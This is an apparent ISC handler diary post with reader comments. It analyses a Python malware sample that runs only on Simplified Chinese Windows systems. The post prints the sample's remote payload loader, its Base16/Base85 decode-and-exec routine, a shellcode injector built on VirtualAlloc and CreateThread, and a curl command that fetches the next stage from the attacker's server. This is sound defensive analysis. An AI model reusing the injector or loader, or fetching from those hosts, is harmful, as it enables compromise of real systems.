My next class:
Reverse-Engineering Malware: Advanced Code AnalysisOnline | Greenwich Mean TimeOct 28th - Nov 1st 2024

Malicious Python Script Targeting Chinese People

Published: 2022-01-06. Last Updated: 2022-01-06 09:12:46 UTC
by Xavier Mertens (Version: 1)
3 comment(s)

This week I found a lot of interesting scripts as this is my fourth diary in a row! I spotted a Python script that targets Chinese people. The script has a very low VT score (2/56) (SHA256:aaec7f4829445c89237694a654a731ee5a52fae9486b1d2bce5767d1ec30c7fb). How attackers can restricts their surface attack to some regions, countries or people?

The script implements a simple direct API call using the ctypes library:

dll_h = ctypes.windll.kernel32
if (dll_h.GetSystemDefaultUILanguage() != 2052):
    print(1)
    #exit(0)

GetSystemDefaultUILanguage() is a Microsoft API call that returns the system default UI language of the operating system[1]. If the language code is not 2052, the script exits. The valid 2052 correspond to "Simplified Chinese"[2]. Note that the script uploaded to VT was probably still being debugged or developed because exit() has been commented.

I had a look at the script which decoded a shell code using a Base85 encoding:

global c
url = 'hxxp://fileserverhk[.]oss-cn-hongkong[.]aliyuncs[.]com/home/js/js.js'
req = urllib.request.Request(url)
data = urllib.request.urlopen(req).read()
key0 = data[:1]
key1 = data[-5:]
key2 = data[1:len(data)-5]
c = b''.fromhex(key2.replace(key1,key0).decode())
c = base64.b85decode(c)

The shellcode downloads the next stage:

Loaded 348 bytes from file C:\Users\REM\Desktop\c.bin
Initialization Complete..
Max Steps: 2000000
Using base offset: 0x401000

4010a2  LoadLibraryA(wininet)
4010b5  InternetOpenA()
4010d1  InternetConnectA(server: adult[.]up-flash[.]com, port: 8443, )

The shellcode is injected using an Base16/Hex/Base85 encoded code:

def decrypt_eval(str):
    global c
    s1 = base64.b16decode(str.encode()).decode()
    s2 = b''.fromhex(s1)
    s3 = base64.b85decode(s2)
    exec(s3.decode())

The decoded code is classic:

import ctypes;
wiseZERld = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(c)),ctypes.c_int(0x3000),ctypes.c_int(0x40));
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(wiseZERld), c, ctypes.c_int(len(c)));
x = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(wiseZERld),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)));
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(x),ctypes.c_int(-1));

You can find more information in the shellcode to generate the complete URL. The URI is readable and a User-Agent. It must be provided to fetch the content otherwise, an error is returned:

curl -o payload.bin -A "Mozilla/5.0 (Windows Phone 10.0; Android 6.0.1; Microsoft; RM-1152) AppleWebKit/537.36 (KHTML, like Gecko)" https://adult.up-flash.com:8443/files/ch.jpg

The payload seems encrypted  but I did not find a way to decode it yet. When the payload is executed in a sandbox, it tries to fetch the following URL but a 404 error is returned:

https://adult.up-flash.com:8443/r_config/

There is another behaviour in the Python script and I don't see the purpose of this. Web services are created and binded to the loopback on multiple high-ports:

self.ports = [45990, 44792, 56390, 31590, 32790, 48790, 13080, 25980, 34680, 47980, 51380, 61080]

The webserver just returns a string "c_online_s":

  def handler(self, port):
        ip_port = ('127.0.0.1', port)
        back_log = 10
        buffer_size = 1024
        webserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        webserver.bind(ip_port)
        webserver.listen(back_log)
        while True:
            try:
                conn, addr = webserver.accept()
                if port in self.ports:
                    self.init = True
                recvdata = conn.recv(buffer_size)
                conn.sendall(bytes("HTTP/1.1 200 OK\r\nAccess-Control-Allow-Origin: *\r\n\r\n", "utf-8"))
                conn.sendall(bytes("c_online_s", "utf-8"))
                conn.close()
            except:
                pass

I've no idea about the purpose of this. If you have suggestions, please share!

[1] https://docs.microsoft.com/en-us/windows/win32/api/winnls/nf-winnls-getsystemdefaultuilanguage
[2] https://www.autoitscript.com/autoit3/docs/appendix/OSLangCodes.htm

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

3 comment(s)
My next class:
Reverse-Engineering Malware: Advanced Code AnalysisOnline | Greenwich Mean TimeOct 28th - Nov 1st 2024

Comments

Same malware here:
https://www.trendmicro.com/en_us/research/21/g/biopass-rat-new-malware-sniffs-victims-via-live-streaming.html
Some time ago I heard of the opposite case. A malicious software campaign that looked for Russian language computers and if it found one it would stop installation. The expectation was that Russia only criminally prosecuted those cases where damage was done to a citizens' system. The hypothesis was if we installed a Russian language to our Windows system we might actually be more secure.
I keep my main PC in Japanese and my phone in Russian because I am learning both languages. I did suspect that this would have some kind of security implementation, especially in America, but not like this! lol. Makes me wonder about the security implications of using UTF-8 everywhere..

Diary Archives